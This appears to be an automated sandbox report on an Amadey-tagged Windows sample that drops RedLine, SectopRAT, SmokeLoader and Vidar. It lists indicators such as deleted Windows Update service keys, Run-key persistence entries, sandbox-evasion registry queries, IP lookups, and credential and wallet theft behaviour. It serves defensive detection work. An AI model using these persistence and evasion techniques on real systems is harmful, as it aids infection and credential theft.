amadey | 011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/files/0x00070000000230c9-254.dat	family_redline
behavioral1/files/0x00070000000230c9-260.dat	family_redline
behavioral1/files/0x00070000000230c9-264.dat	family_redline
behavioral1/memory/568-267-0x0000000000210000-0x0000000000270000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 4 IoCs

resource	yara_rule
behavioral1/files/0x00070000000230c9-254.dat	family_sectoprat
behavioral1/files/0x00070000000230c9-260.dat	family_sectoprat
behavioral1/files/0x00070000000230c9-264.dat	family_sectoprat
behavioral1/memory/568-267-0x0000000000210000-0x0000000000270000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

description	pid	Process	procid_target
PID 3064 created 3104	3064	XandETC.exe	41
PID 4884 created 3104	4884	XandETC.exe	41
PID 4884 created 3104	4884	XandETC.exe	41
PID 4884 created 3104	4884	XandETC.exe	41
PID 4884 created 3104	4884	XandETC.exe	41
PID 3064 created 3104	3064	XandETC.exe	41
PID 3064 created 3104	3064	XandETC.exe	41
PID 3064 created 3104	3064	XandETC.exe	41
PID 4884 created 3104	4884	XandETC.exe	41
PID 3064 created 3104	3064	XandETC.exe	41
PID 5040 created 3104	5040	updater.exe	41

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	27357788686921962573.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	480B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	oneetx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	3FAC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	6A79.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	3FAC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	C4A0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	3AB8.exe

Executes dropped EXE 32 IoCs

pid	Process
1040	2F2E.exe
1588	3AB8.exe
396	3DF5.exe
4400	3FAC.exe
1144	40B6.exe
3304	41C1.exe
3552	480B.exe
3776	3FAC.exe
4544	oldplayer.exe
3756	oldplayer.exe
560	ss31.exe
1644	ss31.exe
4884	XandETC.exe
3064	XandETC.exe
3372	oneetx.exe
2208	oneetx.exe
4464	3FAC.exe
3656	6A79.exe
4688	3FAC.exe
568	build.exe
4708	oneetx.exe
856	build2.exe
4168	build2.exe
448	build3.exe
3884	C4A0.exe
1484	D6E1.exe
4956	27357788686921962573.exe
4472	29045188672602302741.exe
3764	oneetx.exe
2228	svcservice.exe
2516	mstsca.exe
5040	updater.exe

Loads dropped DLL 4 IoCs

pid	Process
4168	build2.exe
4168	build2.exe
3884	C4A0.exe
3884	C4A0.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3300	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000e000000023266-649.dat	upx
behavioral1/memory/4472-652-0x00000000002D0000-0x0000000001133000-memory.dmp	upx
behavioral1/memory/4472-661-0x00000000002D0000-0x0000000001133000-memory.dmp	upx

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x00070000000230c9-254.dat	vmprotect
behavioral1/files/0x00070000000230c9-260.dat	vmprotect
behavioral1/files/0x00070000000230c9-264.dat	vmprotect
behavioral1/memory/568-267-0x0000000000210000-0x0000000000270000-memory.dmp	vmprotect

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\telemetry = "C:\\Users\\Admin\\AppData\\Roaming\\telemetry\\svcservice.exe"	27357788686921962573.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\c1265b6a-1e83-4d22-b5c8-af10cffa3ae9\\3FAC.exe\" --AutoStart"	3FAC.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
109	api.2ip.ua
110	api.2ip.ua
128	api.2ip.ua

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4956	27357788686921962573.exe
4956	27357788686921962573.exe
2228	svcservice.exe
2228	svcservice.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4400 set thread context of 3776	4400	3FAC.exe	101
PID 4464 set thread context of 4688	4464	3FAC.exe	120
PID 856 set thread context of 4168	856	build2.exe	125
PID 1484 set thread context of 2516	1484	D6E1.exe	210

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
652	sc.exe
1228	sc.exe
1952	sc.exe
1376	sc.exe
3348	sc.exe
2940	sc.exe
4996	sc.exe
3936	sc.exe
3656	sc.exe
2076	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
2676	396	WerFault.exe	94
2092	3304	WerFault.exe	97
384	1484	WerFault.exe	133
1872	1484	WerFault.exe	133
3784	1484	WerFault.exe	133
2212	1484	WerFault.exe	133
4860	1484	WerFault.exe	133
4396	3884	WerFault.exe	132

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2F2E.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	40B6.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	40B6.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	40B6.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2F2E.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2F2E.exe

Checks processor information in registry 2 TTPs 49 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C4A0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	D6E1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	mstsca.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C4A0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	D6E1.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	D6E1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	D6E1.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	D6E1.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mstsca.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	mstsca.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	mstsca.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	D6E1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	D6E1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mstsca.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mstsca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mstsca.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1424	schtasks.exe
2012	schtasks.exe
4832	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1424	timeout.exe
2724	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe

Modifies registry class 19 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings	mstsca.exe
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3104	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4220	011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe
4220	011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3104	Explorer.EXE

Suspicious behavior: MapViewOfSection 21 IoCs

pid	Process
4220	011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe
1040	2F2E.exe
1144	40B6.exe
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE
3104	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
